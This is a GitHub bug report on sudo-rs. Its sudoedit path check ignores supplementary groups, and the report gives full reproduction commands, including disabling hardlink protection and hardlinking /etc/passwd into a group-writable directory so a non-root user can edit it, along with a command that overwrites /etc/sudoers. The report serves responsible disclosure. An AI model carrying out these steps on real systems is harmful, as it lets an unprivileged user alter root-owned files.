-
Notifications
You must be signed in to change notification settings - Fork 137
Description
The security boundary in sudoedit-rs relies on traversed_secure_open, but that function ignores supplementary group membership. Any user who can write to a group-owned path via a secondary group can trick sudo-rs into editing arbitrary root files. Fixing requires checking every group the user belongs to (or using in_group_by_gid) before declaring a directory safe.
To give a little more context:
To Reproduce
On ubuntu 25.10 with all latest updates, or any OS with sudo-rs v0.2.9 or even git tree latest:
As root:
groupadd test123 # create a test123 group,
useradd -m -s /bin/bash alice
usermod -aG test123 alice
mkdir -p /etc/test123
chown root:test123 /etc/test123
chmod 0770 /etc/test123
echo "trusted config" > /etc/test123/allowed.conf
chown root:root /etc/test123/allowed.conf
chmod 0640 /etc/test123/allowed.conf
# note that this WILL erase /etc/sudoers and brick sudo access if you do that on a real machine, you can just do it on a VM or edit sudoers and add this line to your existing default file too.
cat >/etc/sudoers <<'EOF'
%test123 ALL=(root) NOPASSWD: sudoedit-rs /etc/test123/allowed.conf
EOF
# Disable hardlink system protection, this is why this isn't a security vulnerability per se
sysctl -w fs.protected_hardlinks=0
Now login as alice and do:
id # check that you are alice
rm /etc/test123/allowed.conf
# link any other important file like /etc/sudoers, etc.
ln /etc/passwd /etc/test123/allowed.conf
# Verify that /etc/test123/allowed.conf is the same hardlink as the original file
stat -c '%i %n' /etc/passwd /etc/test123/allowed.conf # same inode = success
EDITOR=nano sudoedit-rs /etc/test123/allowed.conf # editor change is purely aesthetic here, this command should NOT run, it should error.
Expected behavior
EDITOR=nano sudoedit-rs /etc/test123/allowed.conf should error as alice has write permission on /etc/test123/allowed.conf through supplementary groups.
sudoedit-rs should plainly refuse to edit the /etc/test123/allowed.conf file just like sudoedit does:
[alice@pc /]$ EDITOR=nano sudoedit /etc/test123/allowed.conf
sudoedit: /etc/test123/allowed.conf: editing files in a writable directory is not permitted
[alice@pc /]$ EDITOR=nano sudoedit-rs /etc/test123/allowed.conf
Environment (please complete the following information):
- Linux distribution: bug confirmed in Ubuntu 25.10
sudo-rscommit hash: v0.2.9 and latest git tree affected (commit 2b4d403
), believed to be introduced in version v0.2.0
Additional context
Code affected: src/system/audit.rs lines 221 to 301
pub fn secure_open_for_sudoedit(
path: impl AsRef<Path>,
current_user: &CurrentUser,
target_user: &User,
target_group: &Group,
) -> io::Result<File> {
sudo_call(target_user, target_group, || {
if current_user.is_root() {
OpenOptions::new()
.read(true)
.write(true)
.create(true)
.truncate(false)
.open(path)
} else {
traversed_secure_open(path, current_user)
}
})?
}
fn traversed_secure_open(path: impl AsRef<Path>, forbidden_user: &User) -> io::Result<File> {
let path = path.as_ref();
let Some(file_name) = path.file_name() else {
return Err(io::Error::new(ErrorKind::InvalidInput, "invalid path"));
};
let mut components = path.parent().unwrap_or(Path::new("")).components();
if components.next() != Some(Component::RootDir) {
return Err(io::Error::new(
ErrorKind::InvalidInput,
"path must be absolute",
));
}
let user_cannot_write = |file: &File| -> io::Result<()> {
let meta = file.metadata()?;
let perms = meta.permissions().mode();
if perms & mode(Category::World, Op::Write) != 0
|| (perms & mode(Category::Group, Op::Write) != 0)
&& forbidden_user.gid.inner() == meta.gid()
|| (perms & mode(Category::Owner, Op::Write) != 0)
&& forbidden_user.uid.inner() == meta.uid()
{
Err(io::Error::new(
ErrorKind::PermissionDenied,
"cannot open a file in a path writable by the user",
))
} else {
Ok(())
}
};
let mut cur = File::open("/")?;
user_cannot_write(&cur)?;
for component in components {
let dir: CString = match component {
Component::Normal(dir) => CString::new(dir.as_bytes())?,
Component::CurDir => cstr!(".").to_owned(),
Component::ParentDir => cstr!("..").to_owned(),
_ => {
return Err(io::Error::new(
ErrorKind::InvalidInput,
"error in provided path",
))
}
};
cur = open_at(cur.as_fd(), &dir, false)?.into();
user_cannot_write(&cur)?;
}
cur = open_at(cur.as_fd(), &CString::new(file_name.as_bytes())?, true)?.into();
user_cannot_write(&cur)?;
Ok(cur)
}
I'll link to a potential fix when I have time.